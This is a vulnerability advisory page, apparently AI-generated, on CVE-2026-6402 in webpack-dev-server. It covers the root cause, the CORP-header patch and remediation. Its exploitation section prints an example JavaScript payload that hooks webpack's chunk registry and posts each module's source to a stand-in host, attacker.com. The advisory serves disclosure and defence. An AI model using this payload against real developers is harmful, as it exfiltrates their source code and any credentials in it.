CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-6402

CVE-2026-6402: Cross-Origin Source Code Exposure in webpack-dev-server

Alon Barad
Alon Barad
Software Engineer

May 18, 2026·6 min read·15 visits

Executive Summary (TL;DR)

webpack-dev-server <= 5.2.3 fails to block cross-origin script inclusions over HTTP due to missing Fetch Metadata headers, enabling attackers to steal local source code by hooking global webpack registry functions.

A medium-severity vulnerability in webpack-dev-server versions up to 5.2.3 allows malicious external websites to exfiltrate an application's entire source code when the development server is accessed over plain HTTP. The vulnerability leverages cross-origin script inclusion to bypass origin restrictions.

Vulnerability Overview

webpack-dev-server is a development utility that provides live reloading and serves compiled frontend assets during application development. The utility compiles source code into JavaScript bundles and exposes them via a local HTTP server. These bundles contain the entirety of the application's client-side source code, frequently including unminified logic, development credentials, and internal API endpoints.

CVE-2026-6402 is a cross-origin source code exposure vulnerability affecting versions 5.2.3 and earlier. The vulnerability is tracked under CWE-749 (Exposed Dangerous Method or Function). The issue arises when the server is accessed over plain HTTP, allowing malicious external websites to bypass security controls and load the bundles via cross-origin script inclusion.

The vulnerability stems from an architectural weakness in how webpack-dev-server validates incoming cross-origin requests. A prior security patch for CVE-2025-30359 introduced validation based on Fetch Metadata request headers (Sec-Fetch-Mode and Sec-Fetch-Site). Because modern browsers omit these headers for non-trustworthy origins such as standard HTTP, the server's middleware defaults to an allow state.

Root Cause Analysis

The technical root cause involves a combination of browser security policies and the execution model of webpack bundles. Browsers enforce the Same-Origin Policy (SOP) to restrict cross-origin data access. However, HTML <script> tags inherently bypass the SOP to allow the execution of cross-origin resources. While the host page cannot read the raw text of the fetched script natively, it can intercept the execution environment if the script interacts with global variables.

Webpack bundles are designed to register their contained modules into a global registry for hot module replacement and chunk loading. The registry typically takes the form of a global array or object, such as window.webpackChunk or self.webpackHotUpdate. When a bundle executes, it immediately pushes its internal module definitions to these global structures.

If a malicious website includes the target developer's local bundle via a <script> tag, the browser executes the bundle within the context of the attacker's page. The attacker can pre-define the global registry structures and intercept the modules as they are registered. The failure of the server to block the initial cross-origin request allows the malicious page to capture the application's source code during execution.

Code Analysis

The vulnerable implementation relied entirely on request-side validation using Fetch Metadata headers. The server checked for the presence of Sec-Fetch-Site: cross-site to block unauthorized inclusions. When browsers omitted these headers over plain HTTP connections, the validation logic failed open, permitting the HTTP request to succeed.

The patch for CVE-2026-6402 shifts the defense mechanism from request validation to response headers. The maintainers implemented the Cross-Origin-Resource-Policy: same-origin (CORP) header. CORP is a robust, response-side security control that instructs the browser to block the resource from loading in cross-origin contexts, regardless of the request type or HTML tag used.

// Patch implemented in lib/Server.js
if (
  this.options.allowedHosts !== "all" &&
  !this.isUserCORSWildcardEnabled()
) {
  res.setHeader("Cross-Origin-Resource-Policy", "same-origin");
}

The patched code automatically applies the CORP header unless open access is explicitly configured. When a modern browser receives this response header, it enforces the restriction at the network layer and prevents the script from executing in the malicious page context. This comprehensively closes the cross-origin inclusion vector.

Exploitation

Exploitation requires an attacker to successfully target a developer actively running the vulnerable webpack-dev-server locally. The attacker must host a malicious webpage and entice the developer to visit it. The attack relies on the predictable local network configuration typically used by development environments, such as localhost or 127.0.0.1 on port 8080 or 3000.

The attacker's webpage defines a proxy object or overrides the expected global webpack registry function before including the target bundle. The JavaScript payload hooks the push method of window.webpackChunk. When the bundle loads, it invokes this modified function, passing the module identifiers and raw source code directly into the attacker's control.

// Example exploit payload hosted on attacker site
window.webpackChunk = {
  push: function(chunk) {
    const [id, modules] = chunk;
    for (const moduleId in modules) {
      // Intercept and exfiltrate the raw source code
      fetch('https://attacker.com/steal', {
        method: 'POST',
        body: modules[moduleId].toString()
      });
    }
  }
};

Following the definition of the hook, the malicious page injects a <script src="http://localhost:8080/main.js"></script> tag. The browser requests the file, the server responds with the bundle, and the source code is subsequently sent to the attacker-controlled server.

Impact Assessment

The primary impact of CVE-2026-6402 is the complete loss of source code confidentiality. Front-end codebases frequently contain sensitive intellectual property, proprietary algorithms, and hardcoded internal endpoints. During development, engineers may also temporarily hardcode administrative credentials or access tokens, which become exposed within the bundle.

The vulnerability carries a CVSS 3.1 Base Score of 5.3. Exploitation requires user interaction, specifically the developer visiting a malicious site while the server is running. The attack complexity evaluates to High because the attacker must accurately target the local port the development server is bound to.

The impact is constrained by newer browser-level protections. Chromium-based browsers (Chrome 142+) implement Local Network Access (LNA) restrictions by default. LNA prevents public internet sites from initiating requests to private network addresses without preflight consent. Developers using Firefox, Safari, or older Chromium versions remain exposed to this attack vector.

Remediation

The primary remediation is upgrading webpack-dev-server to version 5.2.4 or later. This release correctly implements the Cross-Origin-Resource-Policy header, mitigating the vulnerability universally across all compliant browsers. Development teams must enforce minimum version requirements in their dependency manifests to ensure the patch applies consistently.

For environments where immediate patching is not feasible, developers must apply configuration-based workarounds. Running the development server over TLS utilizing the --https flag ensures the connection operates in a secure context. In secure contexts, browsers append the necessary Fetch Metadata headers, allowing the legacy CVE-2025-30359 mitigations to function as intended.

Administrators must also avoid configuring allowedHosts: 'all' within the webpack configuration. Restricting the allowedHosts directive to specific, trusted domains reduces the attack surface by enforcing strict host header validation on incoming requests.

Fix Analysis (2)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
EPSS Probability
0.03%

Affected Systems

webpack-dev-server <= 5.2.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
webpack-dev-server
openjs
<= 5.2.35.2.4
AttributeDetail
CWE IDCWE-749
Attack VectorNetwork (Requires User Interaction)
CVSS Score5.3 (Medium)
EPSS Score0.00033
ImpactHigh Confidentiality Loss
Exploit StatusProof of Concept
CISA KEVNot Listed

MITRE ATT&CK Mapping

T1557Adversary-in-the-Middle
Discovery / Credential Access
CWE-749
Exposed Dangerous Method or Function

The software provides an API or similar interface that exposes a method or function that is dangerous or allows an attacker to manipulate the environment.

Vulnerability Timeline

Initial fix commit pushed to GitHub
2026-04-20
Version 5.2.4 released
2026-05-11
CVE-2026-6402 officially published by OpenJS Foundation
2026-05-12
NVD entry created
2026-05-12

References & Sources

  • [1]NVD Entry for CVE-2026-6402
  • [2]GitHub Security Advisory GHSA-79cf-xcqc-c78w
  • [3]OpenJS Foundation Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2024-29203
4.3

CVE-2024-29203: Client-Side Cross-Site Scripting via Unsandboxed Iframes and Legacy Embed Elements in TinyMCE

CVE-2024-29203 identifies a cross-site scripting (XSS) vulnerability in the content ingestion and parsing mechanics of TinyMCE rich text editor. Due to a failure to enforce sandbox attributes on dynamic iframe elements and safely handle legacy embed objects, unauthenticated attackers can inject malicious elements that execute scripts within the context of the parent application session.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 3 hours ago•CVE-2026-9277
8.1

CVE-2026-9277: OS Command Injection in shell-quote via Object-Token Line Terminator Parsing Defect

A technical breakdown of the OS command injection vulnerability in the shell-quote NPM package (CVE-2026-9277 / GHSA-w7jw-789q-3m8p). The bug resides in the character-by-character backslash-escaping logic applied to the .op field of object-tokens within the quote() function, which fails to match and escape line terminators due to a regex matching oversight in JavaScript. This allows unauthenticated remote attackers to execute arbitrary shell commands if they can control inputs processed by this library.

Alon Barad
Alon Barad
7 views•6 min read
•about 4 hours ago•CVE-2026-11645
8.8

CVE-2026-11645: Out-of-Bounds Memory Access in Google Chrome V8 Engine

A high-severity memory corruption vulnerability exists in the V8 JavaScript engine of Google Chrome before versions 149.0.7827.102/103. The flaw arises from an incorrect bounds-check elimination during JIT compilation by the TurboFan optimizer, allowing remote attackers to achieve out-of-bounds read and write access inside the sandboxed renderer process.

Amit Schendel
Amit Schendel
20 views•6 min read
•about 13 hours ago•CVE-2026-50751
9.3

CVE-2026-50751: Authentication Bypass in Check Point Security Gateway IKEv1 Legacy Validation

An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.

Alon Barad
Alon Barad
64 views•6 min read
•1 day ago•CVE-2026-39922
6.3

CVE-2026-39922: Server-Side Request Forgery in GeoNode Service Registration Endpoint

GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.

Alon Barad
Alon Barad
4 views•7 min read
•1 day ago•CVE-2022-0492
7.8

CVE-2022-0492: Privilege Escalation and Container Escape via cgroups v1 release_agent

CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.

Amit Schendel
Amit Schendel
12 views•7 min read